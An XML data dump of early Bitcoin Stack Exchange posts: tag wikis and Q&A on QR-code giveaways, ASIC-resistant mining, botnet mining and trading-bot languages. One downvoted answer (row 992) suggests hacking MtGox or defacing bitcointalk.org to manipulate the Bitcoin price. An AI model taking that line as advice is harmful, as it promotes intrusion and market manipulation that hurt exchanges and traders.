  <row Id="952" PostTypeId="5" CreationDate="2011-09-13T16:42:46.937" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T16:42:46.937" LastActivityDate="2011-09-13T16:42:46.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="953" PostTypeId="4" CreationDate="2011-09-13T16:42:46.937" Score="0" Body="A fork is a project that splits from an earlier project and goes in a slightly different direction." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-13T17:26:53.870" LastActivityDate="2011-09-13T17:26:53.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="954" PostTypeId="5" CreationDate="2011-09-13T16:45:18.303" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T16:45:18.303" LastActivityDate="2011-09-13T16:45:18.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="955" PostTypeId="4" CreationDate="2011-09-13T16:45:18.303" Score="0" Body="Physical coins are used to enable people to hand quantities of a cryptographic currency to each other. They generally contain an outside label indicating their value and a tamper-evident seal containing inside a claim code or key." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-13T17:26:57.830" LastActivityDate="2011-09-13T17:26:57.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="956" PostTypeId="5" CreationDate="2011-09-13T17:29:45.907" Score="0" Body="&lt;p&gt;&lt;code&gt;bitcoind&lt;/code&gt; is the name of the command line software for Bitcoin Core. It does exactly the same things as Bitcoin Core except that it has no GUI interface. To interact with &lt;code&gt;bitcoind&lt;/code&gt;, you must use the &lt;code&gt;bitcoin-cli&lt;/code&gt; tool or another tool that can communicate over its Remote Procedure Call (RPC) interface (e.g. &lt;code&gt;curl&lt;/code&gt;). &lt;code&gt;bitcoind&lt;/code&gt;'s RPC interface adheres to the JSON-RPC 1.0 specification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind&lt;/code&gt; uses the same source code as Bitcoin Core for all of its functionality. The only code differences are those involved in the GUI; that code is not needed for &lt;code&gt;bitcoind&lt;/code&gt;. &lt;code&gt;bitcoind&lt;/code&gt; is a full node wallet software. It will verify every single block and transaction that it receives and relay the valid ones. As a wallet software it also handles private keys and sending and receiving Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="48884" LastEditDate="2017-10-20T01:50:45.167" LastActivityDate="2017-10-20T01:50:45.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="957" PostTypeId="4" CreationDate="2011-09-13T17:29:45.907" Score="0" Body="bitcoind is the command-line software for Bitcoin Core. It stands for &quot;Bitcoin Daemon&quot; where a daemon is any computer process which runs in the background (&quot;service&quot; in Windows terminology)." OwnerUserId="22" LastEditorUserId="13866" LastEditDate="2023-05-11T13:40:00.523" LastActivityDate="2023-05-11T13:40:00.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="958" PostTypeId="5" CreationDate="2011-09-13T17:32:06.607" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T17:32:06.607" LastActivityDate="2011-09-13T17:32:06.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="959" PostTypeId="4" CreationDate="2011-09-13T17:32:06.607" Score="0" Body="&quot;Future proofing&quot; is the process of trying to anticipate future developments, so that action can be taken to minimize possible negative consequences, and to seize opportunities. As such, a system which is described as &quot;future proof&quot; has passed such validation. This tag should be used for questions related to the future-proofing of Bitcoin (and related projects)." OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-13T17:40:22.130" LastActivityDate="2011-09-13T17:40:22.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="960" PostTypeId="1" CreationDate="2011-09-13T17:37:50.007" Score="10" ViewCount="1968" Body="&lt;p&gt;Suppose I wanted to have a bitcoin treasure hunt, where QR codes were used. The first person who scanned a given QR code should receive some preset amount of bitcoins. Is this possible? (Preferably with as little need for knowledge on the part of the recipient as possible.) As a bonus, is it possible to have a single QR code to have a &quot;pool&quot; of 5 bitcoins it is attached to, give 1 bitcoin away per scan, but only allow scanning by unique devices. (ie; so 1 QR code could be used to claim 1 bitcoin for 5 unique devices) or easiest just to create 5 QR codes? Essentially the same functionality as the &quot;send to QR code&quot; in the Android client, only in reverse - (Scan QR code, and receive coins)&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2015-11-02T12:33:44.613" Title="Using QR codes for bitcoin giveaway" Tags="|qrcode|receiving|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="961" PostTypeId="5" CreationDate="2011-09-13T17:38:49.230" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T17:38:49.230" LastActivityDate="2011-09-13T17:38:49.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="962" PostTypeId="4" CreationDate="2011-09-13T17:38:49.230" Score="0" Body="Questions about hardware, e.g. GPUs." OwnerUserId="228" LastEditorUserId="228" LastEditDate="2011-09-13T17:40:29.260" LastActivityDate="2011-09-13T17:40:29.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="963" PostTypeId="2" ParentId="960" CreationDate="2011-09-13T17:43:31.143" Score="8" Body="&lt;p&gt;The easiest way to do this is to have the QR code be a URL. For example, &lt;code&gt;http://www.example.com/bitcoingiveaway/E34IKJ&lt;/code&gt;. Just assign a unique code to each location, the &lt;code&gt;E34IKJ&lt;/code&gt; in my example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What that web page does is up to you. It has to track how many times it has been accessed, of course. The first time, it can send a form that allows a person to fill in some kind of identifier, which can be a Bitcoin address. You then send them the coins (or if using some kind of account, credit their account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making this work without the scanners having Internet access is much trickier. It can be done, but it would require your to control the scanning devices such that they included a time stamp, and there would be no way to reliably inform people whether they were first right at the point of scan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility for the &quot;first come, get coins&quot; model is to have the QR code be the actual private key used to claim the Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T02:32:44.837" LastActivityDate="2011-09-14T02:32:44.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="964" PostTypeId="2" ParentId="960" CreationDate="2011-09-13T17:59:55.033" Score="1" Body="&lt;p&gt;QR codes are completely passive. They do not collect any information about the devices used to scan it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to set this up using only the Bitcoin network, you can create QR codes with private keys of Bitcoin addresses. The device used to scan the code should be able to import the private key and send its bitcoins to another address chosen by the user. The user should destroy the QR code afterwards to avoid &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/899/in-a-double-spend-attempt-how-is-the-valid-transaction-chosen&quot;&gt;stealing attempts&lt;/a&gt; by other users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a &quot;pool&quot; of bitcoins in a QR code is not possible in this scenario. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Since mobile clients currently can not import private keys, another easy way to do this would be with &lt;a href=&quot;https://www.instawallet.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Instawallet&lt;/a&gt;. People would scan an Instawallet QR code, open the url, type in their address and cash out the bitcoins.&lt;br&gt;&#xA;But again, this solution does not allow for a bitcoin &quot;pool&quot;. If you really want that feature you should design a dedicated website, like David Schwartz suggested in his answer.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-09-13T20:21:25.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="965" PostTypeId="5" CreationDate="2011-09-13T18:18:40.400" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T18:18:40.400" LastActivityDate="2011-09-13T18:18:40.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="966" PostTypeId="4" CreationDate="2011-09-13T18:18:40.400" Score="0" Body="About Bitcoin as it might be discussed in economics class, e.g. supply, demand and price in theory." OwnerUserId="228" LastEditorUserId="228" LastEditDate="2011-09-13T18:19:20.507" LastActivityDate="2011-09-13T18:19:20.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="967" PostTypeId="5" CreationDate="2011-09-13T18:44:25.927" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T18:44:25.927" LastActivityDate="2011-09-13T18:44:25.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="968" PostTypeId="4" CreationDate="2011-09-13T18:44:25.927" Score="0" Body="Confirmations correspond to the number of blocks that are dependent on a given transaction. This includes the block containing that transaction and all blocks after it in the blockchain. The more confirmations a transaction has, the more likely is it that it will remain in the blockchain permanently." OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2016-07-06T12:31:27.487" LastActivityDate="2016-07-06T12:31:27.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="969" PostTypeId="5" CreationDate="2011-09-13T18:47:04.550" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T18:47:04.550" LastActivityDate="2011-09-13T18:47:04.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="970" PostTypeId="4" CreationDate="2011-09-13T18:47:04.550" Score="0" Body="Money laundering is a process of disguising the source of money. It is most commonly used to allow money from an illegal sources such as drug trafficking to be used as legitimate income." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-13T19:55:35.390" LastActivityDate="2011-09-13T19:55:35.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="971" PostTypeId="5" CreationDate="2011-09-13T18:52:22.590" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T18:52:22.590" LastActivityDate="2011-09-13T18:52:22.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="972" PostTypeId="4" CreationDate="2011-09-13T18:52:22.590" Score="0" Body="Inflation is a general rise in the price of goods measured in a particular currency. Inflation indicates a reducing value of currency so that over time, more and more of that currency is required to purchase the same value of goods." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-13T19:55:39.540" LastActivityDate="2011-09-13T19:55:39.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="973" PostTypeId="2" ParentId="915" CreationDate="2011-09-13T19:49:03.123" Score="15" Body="&lt;p&gt;To add a bit to the other answers: Imagine if the protocol required that timestamps increase. Now imagine somebody mines a block with a timestamp a minute in the future as far as you can tell. What do you do? If you try to mine blocks with the timestamp you currently believe is correct, your blocks will get rejected (since they'd have a timestamp earlier than the last accepted block).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the requirement that the network easily agree on whether a block is valid or not, the protocol can't require highly-accurate timestamps as a condition of accepting a block as valid. As a result, requiring monotonic timestamps would likely make things worse rather than better.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-13T19:49:03.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="974" PostTypeId="5" CreationDate="2011-09-13T20:03:04.177" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T20:03:04.177" LastActivityDate="2011-09-13T20:03:04.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="975" PostTypeId="4" CreationDate="2011-09-13T20:03:04.177" Score="0" Body="Microsoft Windows is a series of operating systems (OS). Many different Bitcoin related software programs run on Windows - many of these also run on other operating systems.&#xD;&#xA;&#xD;&#xA;This tag can be used for a problem that seems to be specific to Microsoft WIndows." OwnerUserId="228" LastEditorUserId="13866" LastEditDate="2023-05-11T13:23:43.140" LastActivityDate="2023-05-11T13:23:43.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="976" PostTypeId="5" CreationDate="2011-09-13T20:03:46.483" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T20:03:46.483" LastActivityDate="2011-09-13T20:03:46.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="977" PostTypeId="4" CreationDate="2011-09-13T20:03:46.483" Score="0" Body="Questions about computer viruses that relate to bitcoins." OwnerUserId="228" LastEditorUserId="228" LastEditDate="2011-09-13T22:20:56.073" LastActivityDate="2011-09-13T22:20:56.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="978" PostTypeId="5" CreationDate="2011-09-13T20:04:34.877" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T20:04:34.877" LastActivityDate="2011-09-13T20:04:34.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="979" PostTypeId="4" CreationDate="2011-09-13T20:04:34.877" Score="0" Body="Questions about Bitcoin in the context of CPUs (as opposed to GPU or ASIC mining)" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2011-09-13T22:21:02.127" LastActivityDate="2011-09-13T22:21:02.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="980" PostTypeId="5" CreationDate="2011-09-13T20:05:02.613" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T20:05:02.613" LastActivityDate="2011-09-13T20:05:02.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="981" PostTypeId="4" CreationDate="2011-09-13T20:05:02.613" Score="0" Body="A trusted third party that holds something of value until both sides are happy." OwnerUserId="228" LastEditorUserId="228" LastEditDate="2011-09-13T23:51:54.960" LastActivityDate="2011-09-13T23:51:54.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="982" PostTypeId="5" CreationDate="2011-09-13T20:05:25.233" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T20:05:25.233" LastActivityDate="2011-09-13T20:05:25.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="983" PostTypeId="4" CreationDate="2011-09-13T20:05:25.233" Score="0" Body="About the GPU mining software." OwnerUserId="228" LastEditorUserId="228" LastEditDate="2011-09-13T23:51:59.407" LastActivityDate="2011-09-13T23:51:59.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="985" PostTypeId="5" CreationDate="2011-09-13T20:08:27.740" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T20:08:27.740" LastActivityDate="2011-09-13T20:08:27.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="986" PostTypeId="4" CreationDate="2011-09-13T20:08:27.740" Score="0" Body="A place that holds your currency and keeps it safe." OwnerUserId="228" LastEditorUserId="228" LastEditDate="2011-09-13T22:45:51.960" LastActivityDate="2011-09-13T22:45:51.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="987" PostTypeId="5" CreationDate="2011-09-13T20:08:56.850" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T20:08:56.850" LastActivityDate="2011-09-13T20:08:56.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="988" PostTypeId="4" CreationDate="2011-09-13T20:08:56.850" Score="0" Body="The web site for sending and receiving money." OwnerUserId="228" LastEditorUserId="228" LastEditDate="2011-09-13T22:21:14.777" LastActivityDate="2011-09-13T22:21:14.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="990" PostTypeId="2" ParentId="931" CreationDate="2011-09-14T00:04:24.327" Score="3" Body="&lt;p&gt;The choice of the SHA-256 algorithm for Bitcoin's proof of work has created what could be described as the most ideal application for botnets that one could possibly conceive of. Bot masters are looking for ways, essentially, to turn computation into cash. Bitcoin does that natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The huge risk is if the botnets take over the network. Given that botnets can comprise up to millions of machines (at their largest - most are much smaller than this), even with CPU mining a single botnet could potentially take over the network. For instance, assume a 2M strong botnet comprising Core2 Duo machines (5 MHash/s). This network would do 10 THash/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only countermeasure to this is to have special mining gear that is more efficient than CPUs and GPUs, and not available on the average botted PC. This is why the community needs an ASIC-based mining solution.&lt;/p&gt;&#xA;" OwnerUserId="275" LastEditorUserId="307" LastEditDate="2012-11-13T22:08:51.080" LastActivityDate="2012-11-13T22:08:51.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="991" PostTypeId="1" AcceptedAnswerId="993" CreationDate="2011-09-14T00:16:12.313" Score="15" ViewCount="3012" Body="&lt;p&gt;In my related question about &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/931/are-there-algorithms-that-could-have-been-chosen-for-mining-that-balance-cpu-gpu&quot;&gt;mining algorithms that balance CPU and GPU&lt;/a&gt; it came up that such an algorithm would tremendously increase the incentive for people to create mining botnets. The prospect of a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/658/what-can-an-attacker-with-51-of-hash-power-do&quot;&gt;51% attack&lt;/a&gt; by a botnet is not a good one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the algorithms typically used by Bitcoin and related currencies still have the problem that ASIC mining may be so efficient that someone who develops an ASIC and keeps it strictly to themselves could outmine everyone else. This could easily mean a 51% attack by a well-funded adversary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible solution would be a mining algorithm that was inefficient on CPUs but could not be made significantly (orders of magnitude) more efficient with an ASIC. Perhaps an algorithm that requires a moderate amount of memory that would be practical for a GPU to have but not very practical to locate on an ASIC. Perhaps an algorithm that would consume a very large number of gates on an ASIC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know any algorithms that meet the requirements for mining (easily verified on CPU hardware) that don't encourage botnets by working very efficiently on CPUs and don't encourage well-funded adversaries to launch 51% attacks by working very efficiently on ASICs. An algorithm that worked well on common GPUs but couldn't easily be accelerated massively by ASICs would do, I think. Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-01-21T10:01:12.313" Title="Are there algorithms that could be used for mining that resist acceleration with ASICs?" Tags="|algorithms|altcoin-development|mining-theory|asic-resistance|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="992" PostTypeId="2" ParentId="588" CreationDate="2011-09-14T00:22:31.833" Score="-1" Body="&lt;p&gt;I hazard that you might be better off manipulating the market than trying to predict its direction. The BTC market is not that large, and seems to be subject to fluctuations when big &quot;events&quot; happen such as a hacking attempt. Perhaps hacking MtGox or defacing bitcointalk.org is a better way to manipulate the price than Bollinger bands?&lt;/p&gt;&#xA;" OwnerUserId="275" LastActivityDate="2011-09-14T00:22:31.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="993" PostTypeId="2" ParentId="991" CreationDate="2011-09-14T00:36:11.203" Score="7" Body="&lt;p&gt;You are missing &lt;a href=&quot;http://www.symantec.com/connect/blogs/bitcoin-mining-trojanbadminer&quot; rel=&quot;nofollow noreferrer&quot;&gt;botnets of GPUs&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly, I do not think botnets are such a big problem. Botnets succeed because they are invisible to the victims (&lt;a href=&quot;http://www.securelist.com/en/analysis/204792180/TDL4_Top_Bot&quot; rel=&quot;nofollow noreferrer&quot;&gt;some trojans&lt;/a&gt; even include an anti-virus to clean the system). If an infected computer has 100% CPU usage, it will not stay infected for long. Stealing credit card data is still a lot more profitable than running a crippled mining botnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would say that the &lt;a href=&quot;http://www.tarsnap.com/scrypt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;scrypt key derivation function&lt;/a&gt;, from &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/931/are-there-algorithms-that-could-have-been-chosen-for-mining-that-balance-cpu-gpu/935#935&quot;&gt;nealmcb's answer&lt;/a&gt; at your other question, is be a pretty good choice.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2011-09-14T02:28:20.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="994" PostTypeId="2" ParentId="991" CreationDate="2011-09-14T01:30:16.960" Score="7" Body="&lt;p&gt;There is practically no fixed algorithm that is bounded in computational complexity and storage requirements which does not benefit significantly from an optimized, fixed gate or transistor implementation in the form of an ASIC. The only question is: do the power and computational density benefits versus a CPU/GPU outweigh the significant NRE costs associated with the production of such an ASIC? In the case of Bitcoin, &lt;a href=&quot;http://www.largecoin.com&quot;&gt;we believe strongly&lt;/a&gt; that the answer is 'yes', and that return periods on such an investment are in fact shorter than those associated with GPU mining, particularly at high scale.&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2011-09-14T01:30:16.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="996" PostTypeId="5" CreationDate="2011-09-14T02:38:12.923" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T02:38:12.923" LastActivityDate="2011-09-14T02:38:12.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="997" PostTypeId="4" CreationDate="2011-09-14T02:38:12.923" Score="0" Body="an exchange popular in the early years of Bitcoin, where bitcoins could be traded against mora than a dozen national currencies including the US Dollar and the Euro. Insolvent in 2013." OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2016-01-10T12:21:30.173" LastActivityDate="2016-01-10T12:21:30.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="998" PostTypeId="5" CreationDate="2011-09-14T02:39:48.727" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T02:39:48.727" LastActivityDate="2011-09-14T02:39:48.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="999" PostTypeId="4" CreationDate="2011-09-14T02:39:48.727" Score="0" Body="a mining pool that does not require registration and is known for including prayers in its blocks." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T04:32:51.820" LastActivityDate="2011-09-14T04:32:51.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1000" PostTypeId="5" CreationDate="2011-09-14T02:42:21.653" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T02:42:21.653" LastActivityDate="2011-09-14T02:42:21.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1001" PostTypeId="4" CreationDate="2011-09-14T02:42:21.653" Score="0" Body="systems, such as Bitcoin, that lack any single central authority to validate their operations and which have to use other means to determine the validity of operations." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T04:32:53.410" LastActivityDate="2011-09-14T04:32:53.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1002" PostTypeId="5" CreationDate="2011-09-14T02:44:02.633" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T02:44:02.633" LastActivityDate="2011-09-14T02:44:02.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1003" PostTypeId="4" CreationDate="2011-09-14T02:44:02.633" Score="0" Body="something that is not directly useful (like a commodity) but which can be used as a medium of exchange or a store of value. Essentially, money." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T04:32:55.093" LastActivityDate="2011-09-14T04:32:55.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1004" PostTypeId="5" CreationDate="2011-09-14T02:45:34.690" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T02:45:34.690" LastActivityDate="2011-09-14T02:45:34.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1005" PostTypeId="4" CreationDate="2011-09-14T02:45:34.690" Score="0" Body="a one-to-many communication system typically used for chatting but also used by some crypto-currency clients to allow their client software to locate other clients." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T04:32:56.797" LastActivityDate="2011-09-14T04:32:56.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1006" PostTypeId="5" CreationDate="2011-09-14T02:48:25.357" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T02:48:25.357" LastActivityDate="2011-09-14T02:48:25.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1007" PostTypeId="4" CreationDate="2011-09-14T02:48:25.357" Score="0" Body="a form of derivative financial instrument which gives the holder the ability to exchange a specified quantity of a commodity or currency for a specified price by a specified time if they choose to do so. They are commonly used to hedge against an adverse change in exchange rates." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T04:32:58.293" LastActivityDate="2011-09-14T04:32:58.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1008" PostTypeId="5" CreationDate="2011-09-14T02:49:25.090" Score="0" Body="&lt;p&gt;Difficulty is a measure of the likelihood that a given hash is a valid hash for a block. It is calculated by taking the target at difficulty 1 divided by the current mining target. The difficulty is directly correlated to the total mining power of all miners on the network. The difficulty will increase as more hash rate is brought online and will decrease when hash rate decreases.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="48884" LastEditDate="2017-10-20T23:23:41.077" LastActivityDate="2017-10-20T23:23:41.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1009" PostTypeId="4" CreationDate="2011-09-14T02:49:25.090" Score="0" Body="This tag should be used for questions regarding difficulty which encodes the likelihood of one hash to succeed at mining a block. Indirectly, it is a measure of the total hashing power of all miners for a given cryptocurrency." OwnerUserId="85" LastEditorUserId="48884" LastEditDate="2017-10-20T23:23:41.077" LastActivityDate="2017-10-20T23:23:41.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1010" PostTypeId="5" CreationDate="2011-09-14T02:50:20.613" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T02:50:20.613" LastActivityDate="2011-09-14T02:50:20.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1011" PostTypeId="4" CreationDate="2011-09-14T02:50:20.613" Score="0" Body="A kind of two-dimensional barcode that can be scanned by many smartphones. They can be used to encode URLs or Bitcoin addresses." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T04:33:01.337" LastActivityDate="2011-09-14T04:33:01.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1012" PostTypeId="5" CreationDate="2011-09-14T02:51:01.547" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T02:51:01.547" LastActivityDate="2011-09-14T02:51:01.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1013" PostTypeId="4" CreationDate="2011-09-14T02:51:01.547" Score="0" Body="The exchange of money for goods and services over the Internet." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T04:33:02.990" LastActivityDate="2011-09-14T04:33:02.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1014" PostTypeId="5" CreationDate="2011-09-14T02:51:33.120" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T02:51:33.120" LastActivityDate="2011-09-14T02:51:33.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1015" PostTypeId="4" CreationDate="2011-09-14T02:51:33.120" Score="0" Body="the rate at which a currency can be exchanged for another currency or a good or service." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T04:33:05.063" LastActivityDate="2011-09-14T04:33:05.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1016" PostTypeId="5" CreationDate="2011-09-14T02:53:09.327" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-14T02:53:09.327" LastActivityDate="2011-09-14T02:53:09.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1017" PostTypeId="4" CreationDate="2011-09-14T02:53:09.327" Score="0" Body="the body exercising authority over a political units and questions about how they may affect, and be affected by, crypto-currencies." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-14T04:33:06.780" LastActivityDate="2011-09-14T04:33:06.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1018" PostTypeId="1" AcceptedAnswerId="1120" CreationDate="2011-09-14T03:20:01.000" Score="0" ViewCount="819" Body="&lt;p&gt;The C programming language outperforms interpreted languages such as Python or Ruby, but when it comes down to programming productivity, it is much easier/faster to write a Python program than a C program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that I want to write a trading bot, what would be the most appropriate language? If I use C, will I see a noticeable performance difference, or would the latency from HTTP calls make my decision time irrelevant?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-16T23:38:54.887" Title="Is performance really important when choosing a language for a trading bot?" Tags="|exchanges|trading|" AnswerCount="4" CommentCount="4" ClosedDate="2011-09-19T17:25:15.293" ContentLicense="CC BY-SA 3.0" />
